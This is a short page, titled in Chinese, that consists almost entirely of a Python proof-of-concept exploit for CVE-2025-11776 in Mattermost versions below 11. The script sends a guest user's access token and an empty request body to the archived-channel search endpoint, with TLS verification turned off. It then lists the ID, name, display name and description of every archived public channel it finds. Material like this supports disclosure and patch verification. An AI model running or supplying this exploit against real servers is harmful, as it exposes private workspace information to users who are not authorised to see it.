CVE-2025-11776 Mattermost访客用户可发现已归档公共频道信息泄露漏洞

import requests import json # CVE-2025-11776 PoC - Mattermost Archived Channel Discovery # Target: Mattermost versions < 11 # Endpoint: /api/v4/teams/{team_id}/channels/search_archived BASE_URL = "https://target-mattermost-server.com" TEAM_ID = "target-team-id" ACCESS_TOKEN = "guest-user-access-token" def discover_archived_channels(): """ This PoC demonstrates how a guest user can discover archived public channels that they should not have access to view. """ endpoint = f"{BASE_URL}/api/v4/teams/{TEAM_ID}/channels/search_archived" headers = { "Authorization": f"Bearer {ACCESS_TOKEN}", "Content-Type": "application/json" } # Empty payload triggers return of all archived channels payload = {} try: response = requests.post(endpoint, headers=headers, json=payload, verify=False) if response.status_code == 200: channels = response.json() print(f"[+] Successfully discovered {len(channels)} archived channels:") for channel in channels: print(f" - Channel ID: {channel.get('id')}") print(f" Name: {channel.get('name')}") print(f" Display Name: {channel.get('display_name')}") print(f" Description: {channel.get('description')}") print() return channels else: print(f"[-] Request failed with status code: {response.status_code}") print(f"[-] Response: {response.text}") return None except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": print("CVE-2025-11776 PoC - Mattermost Archived Channel Information Disclosure") print("=" * 70) discover_archived_channels()